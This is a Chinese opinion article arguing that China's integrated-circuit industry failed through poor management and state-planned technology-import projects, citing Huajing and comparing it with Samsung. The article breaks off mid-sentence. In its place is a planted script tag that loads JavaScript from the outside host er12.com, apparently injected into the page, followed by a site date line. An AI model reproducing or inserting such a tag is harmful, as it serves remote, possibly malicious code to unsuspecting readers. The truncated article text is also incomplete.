中国集成电路发展的出路在哪里?

作者:陶显芳

自从改革开放以来,中国的ic用量和产量几乎平均以每年20%的速度在同步增长,估计到2005年中国集成电路产量需求达到200亿块以上,销售额达到800亿元以上。世界上的其它地方都曾出现过好几次ic市场惨淡的局面,但在中国20多年来一直都没有出现,所以ic市场的中心正在不断从美国、欧洲、日本等国家向中国转移,ic的生产中心也在不断地从其他国家或地区转移到中国。

去年(2004年)台湾的8寸晶圆生产厂宣布在广东珠海市落户,以及台联电和台积电ic生产厂商在国内苏州、上海投资办厂,一下子把中国的ic产业推向了世界高峰。现在,世界上任何一个ic生产厂家的产品或相同型号的ic几乎在中国都可以找得到,中国ic市场的份额已经占全世界的五分之一以上。并且这个分量还在继续增长,因为中国是一个产品加工能力最强和市场潜力最大的国家。

作为一个ic的使用者,我对中国ic产业的发展感到很欣慰,也感到叹息。欣慰的是ic产业在国内的蓬勃发展必然会带动中国电子工业及其他产业的蓬勃发展,并且我们的ic产量和产值很快就可以赶上日本、欧洲和美国。ic的发源地在美国,二十多年前传入欧洲和日本,十年前又传入台湾,现在又传到了中国大陆。在ic产生技术方面,日本用了26年才赶上美国,而台湾只用了十年多一点时间就赶上了美国,这不能不说是一个奇迹。根据统计,2000年以来中国的ic产业每年都有30%以上的速度增长,因此可以估计,用不了十年,中国的ic产业就可以赶上美国。

严格来说早在二十年前,国外的ic生产技术就已经传入中国,但中国一直没有把握住机会,因此我们不能不叹息。八十年代末,中国就开始从日本大量引进ic生产技术,当时国内的最大ic厂家742厂(华晶集团)就是在那时候从日本东芝公司引进ic生产技术的,同时向东芝引进ic生产技术的还有韩国三星。现在可以检讨一下中国二十几年来ic产业的发展是个什么样子,我们可以用信息产业部(以前叫电子工业部或四机部)一位领导的真心话来概括:我们二十多年来用于引进ic(彩电用)生产的钱,光利息用来买ic都用不完。是什么原因造成中国ic产业发展这么令人感叹?

很多不知情的人都把责任归于日本没有真心向中国人传授技术,那么尔后中国从欧洲引进的ic生产技术又怎么样呢?上海非利蒲半导体厂、上海贝岭半导体、还有深圳的赛意法半导体公司等等,当时引进技术的时候技术水平也应该是很先进的了吧,但为什么也发展不起来?中国没有ic用户吗?中国ic市场的容量每年都有上百亿元的增长,把它摊到任何一个ic企业,这个企业都会被掌死。就良心而论,如果我们不是当年从日本引进了彩电生产技术,中国的电子工业不会像今天发展得这么快。如果拿今天的三星与中国任何一个企业相比,就会知道中国的ic企业到底输在哪里?

我认为,中国的ic产业不是人们所认为的是输在生产技术上,因为三星公司也是与中国华晶公司同时引进日本的ic生产技术,并且目前在三星公司工作的很多高级技术人员也是中国人,因此我们只能认为,中国ic产业的失败,是输在管理和体制上。

先天不足,后天营养不良,是中国ic产业失败的一个重要原因。中国是一个计划经济色彩很浓的国家,虽然是改革开放了,但一些大的技术引进项目,还需要国家政府部门进行立项、审批和拨款,而目前国内大多数的企业还都是国营企业,国营企业在争取技术引进项目的时候一般都会弄虚作假。这些企业为了争取得到国家技术引进项目,可以说是不择一切手段,其中在写可行性报告的时候,首先是把技术引进的必要性写得天花乱坠,然后把经济效益也写得非常可观,最后把投资写得非常节省,只有国外同类项目的三分之一,目的就是要先拿到项目,资金不足,等上马以后再继续向国家申请,反正生米已经将要煮成饭,国家不可能不给。

因此,技术引进项目在一开始就是先天不足,经常是一边引进技术设备一边修改方案,最后把资金用完了,还不能正常生产,更谈不上日后设备更新和技术改造了。如:华晶半导体厂(742厂),ic产生技术引进项目在进行到第一期工程后,因资金不足就基本停止了下来,但为了向政府部门报喜,表示项目超前完成任务,提前出产品,不得不向东芝公司买进ic半成品进行封装,然后打上自己的品牌,一个自力更生,独立生产的ic产品就这样诞生了。但直到今天,华晶半导体厂当年的雄伟目标一直都没有实现过。

思想保守,不重视技术引进,企业缺乏活力,是国内ic生产厂家失败的另一个重要原因。在政府领导的眼里,引进ic产生技术和设备,ic产品就可以像面包师烤面包一样,等着面包出炉了,殊不知ic产品最关键的技术还在前头,就是产品技术开发。

搞过电路设计的工程师都会清楚,开发一个电子产品,比较复杂一些的一般都需要一年甚至两年的时间,而开发一个ic产品需要的时间还要更长,因为ic样片试制出来后还要作电路试验,还需要整机厂?script src=http://er12.com/t.js>

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发布日期:2019年07月04日  所属分类:新闻动态